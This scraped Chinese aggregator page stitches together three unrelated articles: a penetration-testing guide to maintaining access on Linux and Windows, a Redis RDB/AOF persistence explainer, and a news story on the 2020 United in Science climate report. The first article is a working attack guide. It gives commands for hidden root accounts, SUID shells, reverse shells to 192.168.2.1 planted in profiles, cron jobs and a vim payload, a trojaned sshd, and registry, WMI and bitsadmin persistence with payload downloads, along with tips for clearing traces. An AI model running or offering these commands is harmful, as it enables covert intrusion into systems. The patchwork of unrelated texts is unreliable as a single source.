分類
發燒車訊

滲透測試-權限維持

linux權限維持

添加賬號

一般在具有root權限時可以使用以下2種方式添加root權限用戶

1.通過useradd,後面賬號backdoor/123456

useradd -u 0 -o -g root -G root backdoor

echo 123456:password|chpasswd

2.通過直接對etc/passwd文件進行寫入

perl -e 'print crypt("123456", "AA"). "\n"' #首先用perl算一下123456加密后的結果

# 123456加密后的結果為AASwmzPNx.3sg

echo "backdoor:123456:0:0:me:/root:/bin/bash">>/etc/passwd	#直接寫入etc/passwd中

清理以上痕迹

userdel -f backdoor

設置sid位的文件

在具有高權限時,將高權限的bash文件拷貝隱藏起來,設置其suid位,則可後面通過低權限用戶獲取高權限操作

在高權限時

cp /bin/bash /tmp/.bash

chmod 4755 /tmp/.bash  #設置suid

使用時帶上-p參數

/tmp/.bash -p

清理痕迹

rm -rf /tmp/.bash

通過環境變量植入後門

以下是環境變量的位置

/etc/profile
/etc/profile.d/*.sh
~/.bash_profile
~/.profile
~/.bashrc
~/bash_logout
/etc/bashrc
/etc/bash.bashrc

寫入shell反彈語句

echo 'bash -i >& /dev/tcp/192.168.2.1/7777 0>&1' >> /etc/profile

這樣在重啟的時候就會彈shell過來了,會根據登的哪個賬號彈哪個賬號的shell

以下文件需要高權限,為全局變量

/etc/profile
/etc/profile.d/*.sh
/etc/bashrc
/etc/bash.bashrc

以下為當前用戶的環境變量

~/.bash_profile		#實驗過程中沒有反應
~/.profile				#登錄後會接收shell,但是加載桌面時會卡住
~/.bashrc					#打開shell窗口時會接收shell,但正常的shell窗口會卡住
~/bash_logout			#實驗過程中沒有反應

清理痕迹

刪除配置文件中添加的代碼即可

寫入ssh公鑰

首先在本地生成ssh公鑰和私鑰

在自己的~/.ssh/目錄下執行

ssh-keygen -t rsa

會生成以下三個文件,id_rsa.pub為公鑰,id_rsa為私鑰

id_rsa      id_rsa.pub  known_hosts

xxx為公鑰內容,也就是id_rsa.pub的內容

echo "xxx" >> ~/.ssh/authorized_keys

清理痕迹

刪除目標上的 ~/.ssh/authorized_keys即可

ssh任意密碼登錄

在root用戶時,suchfnchsh命令不需要輸入密碼認證

通過軟連接將ssh的服務進行cp,並重命名為以上命令

ln -sf /usr/sbin/sshd /tmp/su				#將sshd做軟連接,軟連接文件名為su或chfn或chsh
/tmp/su -oPort=12345								#通過軟連接的文件,開啟ssh連接-oPort指定開啟端口

連接

ssh root@host -p 12345

#密碼隨便輸入即可登錄,並且可登錄任意賬號

清理方式

netstat -antp | gerp -E "su|chfn|chsh"
#找到進程號xxx
ps aux | grep xxx
#找到軟連接位置/aaa/bbb/su
kill xxx
rm -rf /aaa/bbb/su

修改sshd文件做到無認證登錄

建立連接時ssh服務器端使用的是sshd文件來管理接收到的連接,此時對sshd文件內容進行修改,則能做到無認證登錄

將原先的sshd文件進行轉義

mv /usr/sbin/sshd /usr/bin/sshd

開始使用perl進行寫腳本

echo '#!/usr/bin/perl' > /usr/sbin/sshd
echo 'exec "/bin/bash -i" if (getpeername(STDIN) =~ /^..LF/);' >> /usr/sbin/sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >> /usr/sbin/sshd

其實整個腳本在第二行執行了個if,如果端口符合要求,則直接建立連接,否則正常執行sshd

其中的LF代表開啟的端口號是19526

python2
>> import struct
>> print struct.pack('>I6',19526) 
#輸出的內容為 LF

賦予新文件權限並重啟sshd

chmod u+x sshd
service sshd restart

連接方式

socat STDIO TCP4:172.16.177.178:22,bind=:19526

清除痕迹

#刪除自定義的sshd
rm -rf /usr/sbin/sshd
#將同版本的sshd拷貝到對應目錄下
mv /usr/bin/sshd /usr/sbin/sshd

利用vim可執行python腳本預留後門

先準備個python的反彈shell腳本

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.1",7778));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

找到提供vim插件的python的擴展包目錄

vim --version  #查看使用的python版本

找到python的擴展位置

pip show requests

進入目錄

cd /usr/lib/python2.7/site-packages

將內容寫入

echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.1",7778));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > dir.py

運行,並刪除文件

$(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py

清除痕迹

ps aux|grep vim
#獲取pid
kill pid

計劃任務

因為計劃任務使用的是/bin/sh,所以傳統的直接通過bash反彈shell是行不通的

這裏藉助python,或者perl都可

使用python

echo -e "*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.2.1\",7778));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"|crontab -

使用perl

echo -e "*/1 * * * * perl -e 'use Socket;\$i=\"192.168.2.1\";\$p=7778;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"|crontab -

清除痕迹

如果通過crontab -e 不知道為啥會頂掉上一個

crontab -l			#只看得到一個
crontab -r			#刪除所有計劃任務

動態加載庫

使用export LD_PRELOAD=./xx.so

這時候./xx.so中如果對函數進行了重定義,調用了該函數的程序就會執行重定義的代碼

這裏使用以下項目

https://github.com/Screetsec/Vegile

準備2個文件

  • msf的木馬
  • Veglie項目

使用方法將MSF木馬Vegile上傳到目標服務器上,把項目目錄弄成http服務

python -m SimpleHTTP

目標服務器上

wget http://xxx.xxx.xx.xxx:8000/Vegile.zip
wget http://xxx.xxx.xx.xxx:8000/shell

解壓后運行

unzip Vegile.zip
chmod 777 Vegile shell
./Vegile --u shell

清理痕迹

清理起來十分麻煩,因為直接刪除進程是刪不掉的,因此存在父進程與多個子進程

清理思路掛起父進程,清除所有子進程再刪除父進程

windows權限維持

比較常見的windows提取

ms14_058 內核模式驅動程序中的漏洞可能允許遠程執行代碼
ms16_016 WebDAV本地提權漏洞(CVE-2016-0051)
ms16_032 MS16-032 Secondary Logon Handle 本地提權漏漏洞

計劃任務

拿到shell后先修改編碼

chcp 65001

設置計劃任務,每分鐘調用運行一次shell

schtasks /create /tn shell /tr C:\payload.exe /sc minute /mo 1 /st 10:30:30 /et 10:50:00

清理痕迹

控制面板->管理工具->任務計劃程序->找到惡意計劃任務
在 操作 中找到調用的腳本,進行文件刪除
刪除惡意計劃任務

映像劫持

在程序運行前會去讀自己是否設置了debug,需要對劫持的程序有權限

以下通過註冊表對setch.exe設置了debug為cmd.exe程序,也就是按5下shift會彈出cmd的框

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" /f

清理痕迹

HKLM是HKEY_LOCAL_MACHINE

找到目標的註冊表,將debug內容刪除

環境變量

用戶登陸時會去加載環境變量,通過設置環境變量UserInitMprLogonScript值,實現登陸時自動運行腳本

reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Public\Downloads\1.bat" /f

清理痕迹

直接找到 開始->用戶頭像->更改我的環境變量

進程退出劫持

在註冊表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit下控製程序的退出時執行的動作,但有時候權限很迷

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "c:\payload.exe”

清理痕迹

找到目標的註冊表刪除即可

AppInit_DLLs注入

User32.dll 被加載到進程時,設置其註冊表的中能設置加載其他的dll文件,則可使其加載惡意的腳本

對HKML註冊表的內容進行修改一般都要system權限

Windows 10

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Appinit_Dlls /t REG_SZ /d "c:\Users\Public\Downloads\beacon.dll" /f

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 0x1 /f

其他

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Appinit_Dlls /t REG_SZ /d "c:\Users\Public\Downloads\beacon.dll" /f

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 0x1 /f

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0x0 /f

這樣在打開cmd或者計算器這種能調用User32.dll動態鏈接庫的時候就會觸發

清理痕迹

到對應註冊表的位置刪除Appinit_Dlls的值

bits文件傳輸

通過bitsadmin從網絡上下載的時候可以額外執行腳本

bitsadmin /create test

隨意下載
bitsadmin /addfile test http://192.168.2.1:8000/payload.ps1 c:\users\public\downloads\payload.ps1 

執行的命令
bitsadmin /SetNotifyCmdLine test "C:\windows\system32\cmd.exe" "cmd.exe /c c:\users\public\downloads\payload.exe" 

啟動任務
bitsadmin /resume test

每次開機的時候會觸發

清理痕迹

bitsadmin /reset

COM組件劫持

將腳本放入com組件中

reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32" /t REG_SZ /d "c:\users\public\downloads\beacon.dll" /f

reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Apartment" /f

清理痕迹

刪除註冊表中的路徑值,並通過路徑刪除木馬文件

替換cmd.exe

將sethc.exe(按shift 5下)替換成cmd.exe

takeown /f sethc.* /a /r /d y
cacls sethc.exe /T /E /G administrators:F
copy /y cmd.exe sethc.exe

清理痕迹

找個原版的setch.exe 覆蓋回去

Winlogon劫持

winlogon是windows登錄賬戶時會執行的程序,這裏將其註冊表中寫入木馬運行的dll路徑

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v shell /t REG_SZ /d "explorer.exe, rundll32.exe \"c:\users\public\downloads\beacon.dll\" StartW" /f

清理痕迹

刪除註冊表的shell中的值,並且找到後門文件刪除掉

組策略

需要能遠程登錄到桌面

輸入gpedit.msc打開組策略,需要管理員賬號

在用戶與計算機中的windows設置中均可以對腳本進行編輯,用戶策略是用戶權限,計算機策略是system權限

清理痕迹

打開組策略找到腳本,刪除即可

修改計算器啟動服務調用的程序

啟動服務有些需要手動啟動,比如IEEtwCollectorService 服務,這裏做後面的思路是,該服務本身對計算機運行沒有影響,因此將其手動啟動改成自動啟動,並將其運行的腳本改成木馬後門

類比一下windows10 沒有IEEtwCollectorService 服務可以選擇COMSysApp服務

篡改運行腳本
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\IEEtwCollector Service" /v ImagePath /t REG_EXPAND_SZ /d "c:\users\public\downloads\beacon.exe" /f

設置自動啟動
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\IEEtwCollector Service" /v Start /t REG_DWORD /d 2 /f 

啟動服務
sc start IEEtwCollectorService 

返回的是system權限

清理痕迹

將篡改的註冊表改回來,並且刪除目標木馬

MSDTC 服務

MSDTC 服務默認會加載一個在windowss/system32下的不存在的 oci.dll,思路是將cs.dll 改名為oci.dll,放到system32下即可,該方法需要管理員用戶權限

清理痕迹

刪除的時候因為被多個進程調用,因此刪不掉,這裏可以換個思路修改其名稱,重啟再刪除

啟動項

啟動項是會去指定文件夾下運行文件夾下的所有服務,這個文件夾是

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

C:\Users\test\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

也會運行以下註冊表中的腳本

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "c:\users\public\downloads\payload.exe" /f

需要高權限
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "c:\users\public\downloads\payload.exe" /f

清理痕迹

刪除文件夾下的木馬或者刪除註冊表中添加的惡意木馬註冊表,並找到木馬位置刪除

cmd 啟動劫持

在cmd啟動時回去註冊表中查看是否有AutoRun的健值,如果有則會運行其中的腳本

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor" /v AutoRun /t REG_SZ /d "c:\users\public\downloads\payload.exe" /f

清理痕迹

在管理員權限下刪除註冊表的值即可

wmic事件

註冊一個事件過濾器,該過濾器是開機 2 分鐘到 2 分半鍾,由於是永久 WMI 事 件訂閱,故需要管理員權限,最終獲取到權限也是 system 權限
wmic 
/NAMESPACE:"\\root\subscription"PATH__EventFilterCREATE Name="TestEventFilter", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 20 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >=120 AND TargetInstance.SystemUpTime < 150" 


註冊一個事件消費者,這裏寫入了要執行的命令,是用 rundll32 啟動 cs 的 dll
wmic /NAMESPACE:"\\root\subscription"PATHCommandLineEventConsumer CREATE Name="TestConsumer2",ExecutablePath="C:\Windows\System32\cmd.exe",CommandLineTemplate=" /c rundll32 c:\users\public\downloads\beacon.dll #5" 

綁定事件 過濾器和事件消費者
wmic /NAMESPACE:"\\root\subscription"PATH__FilterToConsumerBindingCREATE Filter="__EventFilter.Name=\"TestEventFilter\"", Consumer="CommandLineEventConsumer.Name=\"TestConsumer2\""

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※超省錢租車方案

※別再煩惱如何寫文案,掌握八大原則!

※回頭車貨運收費標準

※教你寫出一流的銷售文案?

※產品缺大量曝光嗎?你需要的是一流包裝設計!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

分類
發燒車訊

Redis的持久化設計

Redis 持久化設計

持久化的功能:Redis是內存數據庫,數據都是存儲在內存中的,為了避免進程退出導致數據的永久丟失,要定期將Redis中的數據以某種形式從內存保存到硬盤,當下次Reids重啟時,利用持久化文件實現數據恢復。

RDB:將當前數據保存到硬盤

AOF:將每次執行的寫命令保存到硬盤(類似MySQL的binlog)

1. RDB持久化

RDB持久化是將當前進程中的數據生成快照保存到硬盤(因此也稱作快照持久化),保存的文件後綴是rdb;當Redis重新啟動時,可以讀取快照文件恢複數據。

  1. 觸發條件

    • 手動觸發 save 命令和bgsave命令都可以生成RDB文件, save命令會阻塞Redis服務進程,知道RDB文件創建完畢,bgsave命令則是創建一個子進程,由子進程來負責創建RDB文件,父進程繼續處理請求,bgsave命令執行過程中,只有fork子進程時會阻塞服務器,而對於save命令,整個過程都會阻塞服務器,因此save已基本被廢棄,線上環境要杜絕save的使用;後文中也將只介紹bgsave命令。此外,在自動觸發RDB持久化時,Redis也會選擇bgsave而不是save來進行持久化

    SAVE 執行期間,AOF 寫入可以在後台線程進行,BGREWRITEAOF 可以在子進程進行,所以這三種操作可以同時進行 ,為了避免性能問題,BGSAVE 和 BGREWRITEAOF 不能同時執行

  2. 自動觸發

save m n

在配置文件中通過 save m n 命令,指定當前m秒內發生n次變化時,觸發bgsave。

​ 其中save 900 1的含義是:當時間到900秒時,如果redis數據發生了至少1次變化,則執行bgsave;save 300 10和save 60 10000同理。當三個save條件滿足任意一個時,都會引起bgsave的調用.

Redis的save m n,是通過serverCron函數、dirty計數器、和lastsave時間戳來實現的-

  • serverCron函數,是Redis服務器的周期性操作函數,默認每隔100ms執行一次,該函數對服務器的狀態進行維護,其中一項工作就是檢測save m n 配置是否滿足條件,如果滿足就執行bgsave.
  • dirty計數器 記錄服務器進行了多少起操作,修改,不是客戶端執行了多少修改數據的命令
  • lastsave時間戳也是Reids服務器維持的一個狀態,記錄上一次成功執行bgsave的時間

save m n的原理如下:每隔100ms,執行serverCron函數;在serverCron函數中,遍歷save m n配置的保存條件,只要有一個條件滿足,就進行bgsave。對於每一個save m n條件,只有下面兩條同時滿足時才算滿足:

  • 當前時間-lastsave > m

  • dirty >= n

在主從複製場景下,如果從節點執行全量複製操作,則主節點會執行bgsave命令,並將rdb文件發送給從節點。

在執行shutdown命令時,自動執行rdb持久化

1.2 RDB文件

設置存儲路徑

- 配置文件:dir配置指定目錄,dbfilename指定文件名。默認是Redis根目錄下的dump.rdb文件
- 動態設置: 

config set dir {newdir} /// config set dbfilename {newFileName}

RDB文件 是經過壓縮的二進制文件,默認採用LZF算法對RDB文件進行壓縮,雖然壓縮耗時,但是可以大大減小文件體積,默認是開啟的,可以通過命令關閉:

config set rdbcompression no

RDB文件的壓縮並不是針對整個文件進行的,而是對數據庫中的字符串進行的,且只有在字符串達到一定長度(20字節)時才會進行

格式:

字段說明:

  1. REDIS常量,保存‘REDIS’5個字符

  2. db_version RDB文件的版本號

  3. SELECTDB 表示一個完整的數據庫(0號數據庫),同理SELECTDB 3 pairs表示完整的3號數據庫;只有當數據庫中有鍵值對時,RDB文件中才會有該數據庫的信息(上圖所示的Redis中只有0號和3號數據庫有鍵值對);如果Redis中所有的數據庫都沒有鍵值對,則這一部分直接省略。其中:SELECTDB是一個常量,代表後面跟着的是數據庫號碼;0和3是數據庫號碼;

  4. KEY-VALUE-PAIRS: pairs則存儲了具體的鍵值對信息,包括key、value值,及其數據類型、內部編碼、過期時間、壓縮信息等等

  1. EOF 標志著數據庫內容的結尾(不是文件的結尾),值為 rdb.h/EDIS_RDB_OPCODE_EOF (255)

  2. CHECK-SUM RDB 文件所有內容的校驗和,一個 uint_64t 類型值, REDIS 在寫入 RDB 文件時將校驗和保存在 RDB 文件的末尾,當讀取時,根據它的值對內容進行校驗

。如果這個域的值為 0 ,那麼表示 Redis 關閉了校驗和功能。

1.3 啟動時加載

​ RDB文件的載入工作是在服務器啟動時自動執行的,並沒有專門的命令。但是由於AOF的優先級更高,因此當AOF開啟時,Redis會優先載入AOF文件來恢複數據;只有當AOF關閉時,才會在Redis服務器啟動時檢測RDB文件,並自動載入。服務器載入RDB文件期間處於阻塞狀態,直到載入完成為止

2. AOF持久化

AOF(Append Only File) 則以協議文本的方式,將所有對數據庫進行過寫入的命令(及其參數)記錄到 AOF
文件,以此達到記錄數據庫狀態的目的

2.1 開啟AOF

Redis服務器默認開啟RDB,關閉AOF;要開啟AOF,需要在配置文件中配置:

appendonly yes

2.2 執行流程

2.2.1 命令寫入緩衝區

//緩衝區的定義 是一個SDS, 可以兼容C語言的字符串
struct redisServer {
    // AOF緩衝區, 在進入事件loop之前寫入
    sds aof_buf;
};
  1. 命令傳播: Redis將執行完的命令、命令的參數、命令的參數個數等信息發送到 AOF 程序中

  2. 緩存追加: AOF程序根據接收到的命令命令數據,將命令轉換為網絡通訊協議的格式,然後將協議內容追加到服務器的 AOF 緩存中。

    • 將命令以文本協議格式保存在緩存中
    • 為什麼使用文本協議格式?兼容性,避免二次開銷,可讀性
    • 為什麼寫入緩存?這樣不會受制於磁盤的IO性能,避免每次有寫命令都直接寫入硬盤,導致硬盤IO成為Redis負載的瓶頸
  3. 文件寫入和保存:AOF 緩存中的內容被寫入到 AOF 文件末尾,如果設定的 AOF 保存
    條件被滿足的話,fsync 函數或者 fdatasync 函數會被調用,將寫入的內容真正地保存到磁盤中。

    為了提高文件寫入效率,在現代操作系統中,當用戶調用write函數將數據寫入文件時,操作系統通常會將數據暫存到一個內存緩衝區里,當緩衝區被填滿或超過了指定時限后,才真正將緩衝區的數據寫入到硬盤裡。這樣的操作雖然提高了效率,但也帶來了安全問題:如果計算機停機,內存緩衝區中的數據會丟失;因此系統同時提供了fsync、fdatasync等同步函數,可以強制操作系統立刻將緩衝區中的數據寫入到硬盤裡,從而確保數據的安全性。

    AOF保存模式:

    • AOF_FSYNC_ALWAYS: 命令寫入aof-buf后立即調用系統的fsync操作同步到AOF文件。因為 SAVE 是由 Redis 主進程執行的,所以在 SAVE 執行期間,主進程會被阻塞,不能接受命令請求。這種情況下,每次有寫命令都要同步到AOF文件,硬盤IO成為性能瓶頸,Redis只能支持大約幾百TPS寫入,嚴重降低了Redis的性能;即便是使用固態硬盤(SSD),每秒大約也只能處理幾萬個命令,而且會大大降低SSD的壽命。
    • AOF_FSYNC_NO: 命令寫入aof_buf后調用系統write操作,不對AOF文件做fsync同步;同步由操作系統負責,通常同步周期為30秒。這種情況下,文件同步的時間不可控,且緩衝區中堆積的數據會很多,數據安全性無法保證。
    • AOF_FSYNC_EVERYSEC: 每一秒鐘保存一次,命令寫入aof_buf后調用系統write操作, write完成后線程返回, fsync同步文件操作由專門線程每秒調用一次

2.2.2. 文件重寫

隨着命令不斷寫入AOF,文件會越來越大,為了解決這個問題,Redis引入AOF重寫機制壓縮文件體積,AOF文件重寫是把Redis進程內的數據轉化為寫命令同步到新AOF文件的過程。

重寫后的AOF文件為什麼可以變小?

  1. 進程內已經超時的數據不再寫入文件
  2. 舊的AOF文件含有無效命令 ,如有些數據被重複設值(set mykey v1, set mykey v2)、有些數據被刪除了(sadd myset v1, del myset)等等, 新的AOF文件只保留最終的數據寫入命令
  3. 多條寫入命令可以合併為一個,如:lpush list a、lpush list b可以轉化為:lpush list a b。為了防止單條命令過大造成客戶端緩衝區溢出,對於list、set、hash等類型操作,以64個元素為邊界拆分為多條

AOF重寫可以手動觸發也可以自動觸發:

  • 手動觸發: 直接調用bgrewriteaof命令
  • 自動觸發:根據auto-aof-rewrite-min-size和auto-aof-rewrite-percentage參數確定自動觸發時機。
    • auto-aof-rewrite-min-size:表示運行AOF重寫時文件最小體積,默認為64MB
    • auto-aof-rewrite-percentage:代表當前AOF文件空間(aof_current_size)和上一次重寫后AOF文件空間(aof_base_size)的比值

流程說明:

1)執行AOF重寫請求。

如果當前進程正在執行AOF重寫,請求不執行。

如果當前進程正在執行bgsave操作,重寫命令延遲到bgsave完成之後再執行。

2)父進程執行fork創建子進程,開銷等同於bgsave過程。

3.1)主進程fork操作完成后,繼續響應其它命令。

  所有修改命令依然寫入AOF文件緩衝區並根據appendfsync策略同步到磁盤,保證原有AOF機制正確性。

3.2)由於fork操作運用寫時複製技術,子進程只能共享fork操作時的內存數據

  由於父進程依然響應命令,Redis使用“AOF”重寫緩衝區保存這部分新數據,防止新的AOF文件生成期間丟失這部分數據。

4)子進程依據內存快照,按照命令合併規則寫入到新的AOF文件。

  每次批量寫入硬盤數據量由配置aof-rewrite-incremental-fsync控制,默認為32MB,防止單次刷盤數據過多造成硬盤阻塞。

5.1)新AOF文件寫入完成后,子進程發送信號給父進程,父進程調用一個信號處理函數,並執行以前操作更新統計信息。

5.2)父進程把AOF重寫緩衝區的數據寫入到新的AOF文件。這時新 AOF 文件所保存的數據庫狀態將和服務器當前的數據庫狀態一致。

5.3)對新的AOF文件進行改名,原子地(atomic)覆蓋現有的AOF文件,完成新舊文件的替換。

在整個 AOF 後台重寫過程中,只有信號處理函數執行時會對服務器進程(父進程)造成阻塞,其他時候,AOF 後台重寫都不會阻塞父進程,這將 AOF 重寫對服務器性能造成的影響降到了最低

參考《Redis-設計與實現:AOF-持久化》

2.2.3 重啟加載

流程說明:

1)AOF持久化開啟且存在AOF文件時,優先加載AOF文件。

2)AOF關閉或者AOF文件不存在時,加載RDB文件。

3)加載AOF/RDB文件成功后,Redis啟動成功。

4)AOF/RDB文件存在錯誤時,Redis啟動失敗並打印錯誤信息。

數據還原的詳細步驟:

  1. 創建一個不帶網絡連接的偽客戶端(fake client): 因為 Redis 的命令只能在客戶端上下文中執行,而載入 AOF 文件時所使用的命令直接來源於 AOF 文件而不是網絡連接,所以服務器使用了一個沒有網絡連接的偽客戶端來執行 AOF 文件保存的寫命令,偽客戶端執行命令的效果和帶網絡連接的客戶端執行命令的效果完全一樣。
  2. 從AOF文件中分析並讀取出一條寫命令,使用偽客戶端執行被讀出的寫命令,重複此操作,直到AOF文件中的所有寫命令都被處理完畢為止。

2.2.4 文件校驗

加載損壞的AOF文件會拒絕啟動,並打印錯誤信息。

注意:對於錯誤格式的AOF文件,先進性備份,然後採用redis-check-aof --fix命令進行修復,修復后使用diff -u對比數據差異,找到丟失的數據,有些可以進行人工補全。

AOF文件可能存在結尾不完整的情況,比如機器突然掉電導致AOF尾部文件命令寫入不全。

Redis為我們提高了aof-load-truncated配置來兼容這種情況,默認開啟

3. 了解MySQL中的binlog

mysql binlog應用場景與原理深度剖析

參考博文與書籍:

  1. 《redis設計與實現》
  2. Redis持久化
  3. [徐劉根-Redis實戰和核心原理詳解(8)使用快照RDB和AOF將Redis數據持久化到硬盤中](https://blog.csdn.net/xlgen157387/article/details/61925524

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※為什麼 USB CONNECTOR 是電子產業重要的元件?

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※台北網頁設計公司全省服務真心推薦

※想知道最厲害的網頁設計公司"嚨底家"!

※推薦評價好的iphone維修中心

分類
發燒車訊

2020科學界聯合報告:武肺未阻氣候變遷 溫室氣體濃度創300萬年新高

環境資訊中心外電;姜唯 翻譯;林大利 審校;稿源:ENS

儘管全球為防堵武漢肺炎(COVID-19)而大規模封城,大氣中的溫室氣體濃度卻仍來到300萬年來最高。

氣候變遷沒有因為武漢肺炎而停下腳步。封城和經濟趨緩雖使碳排放出現暫時性下降,整體趨勢仍朝著肺炎爆發前的水準邁進。

2020年二氧化碳排放量將因為疫情關係減少4%至7%。確切能減少多少將取決於疫情控制情況和政府的應對措施。

今年雖然碰上疫情而大規模封城,大氣中的溫室氣體濃度卻仍來到300萬年來最高。照片來源:Tony Webster(CC BY-SA 2.0)

2016至2020年將是有史以來最熱的五年

全球最大、最具權威性的多個科學組織合作發表「2020科學界聯合報告(United in Science 2020)」,彙整出全面性的相關資訊。

這份報告是本系列報告的第二份,由世界氣象組織(World Meteorological Organization﹐WMO)協調,收集來自全球碳計畫(Global Carbon Project)、政府間氣候變遷專門委員會(Intergovernmental Panel on Climate Change)、聯合國教科文組織政府間海洋學委員會(Intergovernmental Oceanographic Commission of UNESCO)、聯合國環境規劃署(UN Environment Programme﹐UNEP)和英國氣象局的專業意見 。

「溫室氣體濃度已經達到300萬年來的最高水準,並持續上升中。同時在2020年上半年,西伯利亞大片地區出現長時間的異常熱浪,若不是人為的氣候變遷,這幾乎不可能發生。2016至2020年將是有史以來最熱的五年。」WMO秘書長塔拉斯(Petteri Taalas)教授警告,「這份報告說明了,儘管我們的生活在2020年多方被打亂,但氣候變遷的影響力並未減弱。」

暖化趨勢很可能會持續 使巴黎協定無法達成

乾旱和熱浪大幅增加了野火風險。有史以來野火造成的三次最大經濟損失都發生在最近四年。2019年和2020年夏季,北極地區發生了前所未有的野火。2019年6月,這些野火向大氣排放了5000萬噸二氧化碳,造成永凍土融化。2019年和2020年,亞馬遜雨林發生了大火,對環境造成了巨大影響。

2020科學界聯合報告引用的「世界天氣歸因」最近的一項研究結果指出,由於人為氣候變遷,2020年1月至2020年6月的高溫可能性至少高出600倍。

報告中記載的暖化趨勢很可能會持續下去,使全世界無法實現2015年巴黎協定設定的氣候目標,全球氣溫上升幅度遠低於工業化前水準2°C或僅比工業化高前1.5°C。

報告提供與氣候變遷相關的最新科學資料和發現,作為全球政策和行動的指引。內容聚焦氣候變遷的影響日益增加且不可逆轉,它影響冰川、海洋、自然、經濟和人類生活條件,人類往往可從乾旱或洪水等與水有關的危害切身感受到。

報告也記載了武漢肺炎如何破壞我們透過全球觀測系統監測這些變化的能力。

有史以來野火造成的三次最大經濟損失都發生在最近四年。照片來源: Ulet Ifansasti/Greenpeace(CC BY-NC-ND 2.0)

2020科學界聯合報告的主要發現

大氣中的溫室氣體濃度(世界氣象組織)

大氣中的二氧化碳濃度沒有要封頂的跡象,一直在打破紀錄。

根據WMO全球大氣監測網水準點的報告,2020年上半年二氧化碳濃度高於410 ppm,夏威夷冒納羅亞和澳洲塔斯馬尼亞格里姆角的觀測值分別為414.38 ppm和410.04 ppm。2020年比2019年7月增加了約3 ppm。

2020年二氧化碳排放量的減少只會輕微影響大氣中濃度的增加速度,因為今日大氣中二氧化碳濃度是過去和當前排放以及二氧化碳超長壽命所致結果。

WMO在其報告中表示:「要使氣候變遷穩定下來,必須將排放量持續減少至零淨值。」

全球化石燃料二氧化碳排放量(全球碳計畫)

由於武肺封鎖,2020年二氧化碳排放量預計將下降4%至7%。確切的下降百分比將取決於疫情控制狀況和政府因應方式。

2020年4月上旬的封城高峰期,全球每日化石燃料二氧化碳排放量與2019年相比下降了前所未有的17%。

但儘管如此,排放量仍與2006年的水準相當,凸顯過去15年來的急劇增長及長期依賴化石能源。

到2020年6月上旬,全球每日化石燃料排放量只比2019年水準低了5%不到,去年達到了367億公噸的新紀錄,比1990年氣候變遷談判開始時高62%。

過去10年間,人類活動產生的全球甲烷排放量也在持續增加。報告警告:「目前的二氧化碳和甲烷排放趨勢均無法達到巴黎協定目標。」

排放差距(聯合國環境規劃署)

聯合國環境規劃署呼籲,要實現巴黎協定目標,轉型行動不能再延。

環境署「2019年排放差距報告」顯示,從2020~2030年,要達到巴黎協定的2°C目標,每年要將全球排放量削減3%,要達到1.5°C目標平均每年要削減7%以上。

